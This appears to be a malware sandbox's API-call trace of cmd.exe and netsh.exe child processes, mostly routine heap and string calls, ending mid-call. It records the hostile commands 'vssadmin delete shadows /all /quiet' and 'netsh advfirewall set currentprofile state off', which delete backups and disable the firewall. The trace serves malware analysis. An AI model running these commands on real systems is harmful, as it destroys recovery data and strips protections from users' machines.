[0055.999] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x420) returned 0x299a80 [0055.999] SetErrorMode (uMode=0x0) returned 0x0 [0055.999] SetErrorMode (uMode=0x1) returned 0x0 [0055.999] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x299a90, lpFilePart=0x1cf120 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cf120*="Desktop") returned 0x25 [0055.999] SetErrorMode (uMode=0x0) returned 0x1 [0055.999] GetProcessHeap () returned 0x280000 [0056.000] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x299a80, Size=0x6e) returned 0x299a80 [0056.000] GetProcessHeap () returned 0x280000 [0056.000] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x299a80) returned 0x6e [0056.000] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0056.000] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0056.000] GetProcessHeap () returned 0x280000 [0056.000] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x128) returned 0x295b70 [0056.000] GetProcessHeap () returned 0x280000 [0056.000] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x240) returned 0x299b00 [0056.006] GetProcessHeap () returned 0x280000 [0056.006] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x299b00, Size=0x12a) returned 0x299b00 [0056.006] GetProcessHeap () returned 0x280000 [0056.006] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x299b00) returned 0x12a [0056.006] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.006] GetProcessHeap () returned 0x280000 [0056.006] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xe8) returned 0x299c40 [0056.006] GetProcessHeap () returned 0x280000 [0056.006] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x299c40, Size=0x7e) returned 0x299c40 [0056.006] GetProcessHeap () returned 0x280000 [0056.006] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x299c40) returned 0x7e [0056.008] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.008] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cee90) returned 0xffffffffffffffff [0056.008] GetLastError () returned 0x2 [0056.008] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x1cee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cee90) returned 0xffffffffffffffff [0056.008] GetLastError () returned 0x2 [0056.008] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.008] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cee90) returned 0x281d40 [0056.009] GetProcessHeap () returned 0x280000 [0056.009] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x28) returned 0x294640 [0056.009] FindClose (in: hFindFile=0x281d40 | out: hFindFile=0x281d40) returned 1 [0056.009] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x1cee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cee90) returned 0xffffffffffffffff [0056.009] GetLastError () returned 0x2 [0056.009] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x1cee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cee90) returned 0x281d40 [0056.009] GetProcessHeap () returned 0x280000 [0056.009] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x294640, Size=0x8) returned 0x2998f0 [0056.009] FindClose (in: hFindFile=0x281d40 | out: hFindFile=0x281d40) returned 1 [0056.009] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0056.009] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0056.009] GetConsoleTitleW (in: lpConsoleTitle=0x1cf3e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0056.010] GetProcessHeap () returned 0x280000 [0056.010] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x21c) returned 0x299cd0 [0056.010] GetConsoleTitleW (in: lpConsoleTitle=0x299ce0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0056.010] GetProcessHeap () returned 0x280000 [0056.010] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x299cd0, Size=0xc0) returned 0x299cd0 [0056.010] GetProcessHeap () returned 0x280000 [0056.010] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x299cd0) returned 0xc0 [0056.010] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0056.011] GetProcessHeap () returned 0x280000 [0056.011] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x299cd0 | out: hHeap=0x280000) returned 1 [0056.011] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cf198, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cf158 | out: lpAttributeList=0x1cf198, lpSize=0x1cf158) returned 1 [0056.011] UpdateProcThreadAttribute (in: lpAttributeList=0x1cf198, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cf148, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cf198, lpPreviousValue=0x0) returned 1 [0056.011] GetStartupInfoW (in: lpStartupInfo=0x1cf2b0 | out: lpStartupInfo=0x1cf2b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf8, hStdOutput=0x104, hStdError=0x104)) [0056.011] GetProcessHeap () returned 0x280000 [0056.011] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x20) returned 0x294640 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0056.011] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0056.012] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0056.012] GetProcessHeap () returned 0x280000 [0056.012] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x294640 | out: hHeap=0x280000) returned 1 [0056.012] GetProcessHeap () returned 0x280000 [0056.012] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x12) returned 0x298900 [0056.012] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1cf1d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cf180 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x1cf180*(hProcess=0x54, hThread=0x50, dwProcessId=0x8fc, dwThreadId=0x90c)) returned 1 [0056.490] CloseHandle (hObject=0x50) returned 1 [0056.490] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0056.490] GetProcessHeap () returned 0x280000 [0056.490] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c230 | out: hHeap=0x280000) returned 1 [0056.490] GetEnvironmentStringsW () returned 0x29aa10* [0056.490] GetProcessHeap () returned 0x280000 [0056.490] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xae8) returned 0x29b500 [0056.490] FreeEnvironmentStringsW (penv=0x29aa10) returned 1 [0056.490] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0056.491] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0056.491] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1cea88, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1cea88, ReturnLength=0x0) returned 0x0 [0056.491] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x1ceac0, nSize=0x380, lpNumberOfBytesRead=0x1cea80 | out: lpBuffer=0x1ceac0*, lpNumberOfBytesRead=0x1cea80*=0x380) returned 1 [0056.491] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "5" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0xaf78000" os_pid = "0x8dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x15c" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x8ec [0058.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12f830 | out: lpSystemTimeAsFileTime=0x12f830*(dwLowDateTime=0x88ec6a0, dwHighDateTime=0x1d696fc)) [0058.781] GetCurrentProcessId () returned 0x8dc [0058.781] GetCurrentThreadId () returned 0x8ec [0058.781] GetTickCount () returned 0x1148a27 [0058.781] QueryPerformanceCounter (in: lpPerformanceCount=0x12f838 | out: lpPerformanceCount=0x12f838*=17776137613) returned 1 [0058.783] GetModuleHandleW (lpModuleName=0x0) returned 0x970000 [0058.783] __set_app_type (_Type=0x1) [0058.783] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x97ad14) returned 0x0 [0058.783] __wgetmainargs (in: _Argc=0x9855c0, _Argv=0x9855d0, _Env=0x9855c8, _DoWildCard=0, _StartInfo=0x9855dc | out: _Argc=0x9855c0, _Argv=0x9855d0, _Env=0x9855c8) returned 0 [0058.784] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.784] GetModuleHandleW (lpModuleName=0x0) returned 0x970000 [0058.784] _vsnwprintf (in: _Buffer=0x987a40, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x127388 | out: _Buffer="netsh>") returned 6 [0058.784] GetProcessHeap () returned 0x250000 [0058.784] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2707d0 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2707f0 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270810 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270830 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270850 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270870 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2708c0 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2708e0 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270900 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270920 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270940 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270960 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270980 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2709a0 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2709c0 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2709e0 [0058.785] GetProcessHeap () returned 0x250000 [0058.785] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270a00 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270a20 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270a40 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270a60 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270a80 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270aa0 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270ac0 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270ae0 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270b00 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270b20 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270b40 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270b60 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270b80 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270ba0 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270bc0 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270be0 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270c00 [0058.786] GetProcessHeap () returned 0x250000 [0058.786] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270c20 [0058.786] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270c40 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270c60 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270c80 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270ca0 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270cc0 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270ce0 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270d00 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270d20 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270d40 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270d60 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270d80 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270da0 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270dc0 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270de0 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270e00 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270e20 [0058.787] GetProcessHeap () returned 0x250000 [0058.787] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270e40 [0058.787] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270e60 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270e80 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270ea0 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270ec0 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270ee0 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270f00 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270f20 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270f40 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270f60 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270f80 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270fa0 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270fc0 [0058.788] GetProcessHeap () returned 0x250000 [0058.788] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x270fe0 [0058.788] GetProcessHeap () returned 0x250000 [0058.789] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271000 [0058.789] GetProcessHeap () returned 0x250000 [0058.789] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271020 [0058.789] GetProcessHeap () returned 0x250000 [0058.789] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271040 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271060 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2710c0 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2710e0 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271100 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271120 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271140 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271160 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271180 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2711a0 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2711c0 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2711e0 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271200 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271220 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271240 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271260 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271280 [0058.790] GetProcessHeap () returned 0x250000 [0058.790] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2712a0 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2712c0 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2712e0 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271300 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271320 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271340 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) 